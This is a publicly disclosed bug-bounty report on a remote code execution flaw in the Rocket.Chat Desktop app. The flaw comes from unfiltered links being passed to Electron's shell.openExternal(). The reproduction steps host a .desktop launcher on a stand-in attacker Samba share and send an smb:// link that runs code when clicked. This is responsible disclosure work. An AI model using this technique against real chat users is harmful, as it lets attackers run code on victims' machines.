HexBrain

Rocket.Chat · Report #924151

Insecure use of shell.openExternal() in Rocket.Chat Desktop App leading to RCE

Validstatus
criticalseverity
13upvotes
1 Aug 2022disclosed

How it was found

Summary: The Rocket.Chat Desktop app passes the links users click on to Electron's shell.openExternal() function which can lead to remote code execution.

Description: The filtering on the URLs passed to shell.openExternal() is insufficient. An attacker can craft and send a link that when clicked will cause malicious code from a remote origin to be executed on the user's system. The specific attack presented here has been tested with Xubuntu 20.04, however similar attacks are also possible on other systems, including non-Linux operating systems.

Releases Affected:

Steps To Reproduce (from initial installation to vulnerability):

  1. Install Rocket.Chat Desktop on Xubuntu 20.04.

  2. Login and join a channel.

  3. Setup a public Samba server (at attacker.tld in this example) and create a public share (named public here). In this share, publish the following file as pwn.desktop and make it executable:

[Desktop Entry]
Exec=bash -c "(mate-calc &); xmessage \"Hello from Electron.\""
Type=Application
 ```

4. From another account in the same channel, send the following message with the corresponding values replaced: smb://attacker.tld/public/pwn.desktop 5. Click the link and (if necessary) confirm starting the untrusted launcher. 6. Notice the calculator and message box appearing, confirming remote code execution.

Supporting Material/References:

  • I have attached a video of the attack to the report.

Suggested mitigation

Best Regards,
Benjamin Altpeter
Technical University of Braunschweig, Germany

Impact

  • The attack can be triggered remotely by an attacker by simply sending a message to a channel.
    • The particular attack presented here requires user interaction. The user has to click the link (which is not obfuscated) and potentially confirm launching the executable. The last part may not be necessary depending on the particular attack vector and system the user runs.
    • This particular presented attack only works on certain Linux distributions. However, this is only due to the particular attack payload used (a Linux .desktop file accessed over Samba). Similar payloads will also work on other Linux distributions as well as Windows and macOS. The Electron documentation explicitly warns against using shell.openExternal() with untrusted content: https://www.electronjs.org/docs/tutorial/security#14-do-not-use-openexternal-with-untrusted-content
    • If the attack is executed successfully, the attacker can run arbitrary code on the user's system.
    • Patching the problem is simple and doesn't break any legitimate use cases that I can think of.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original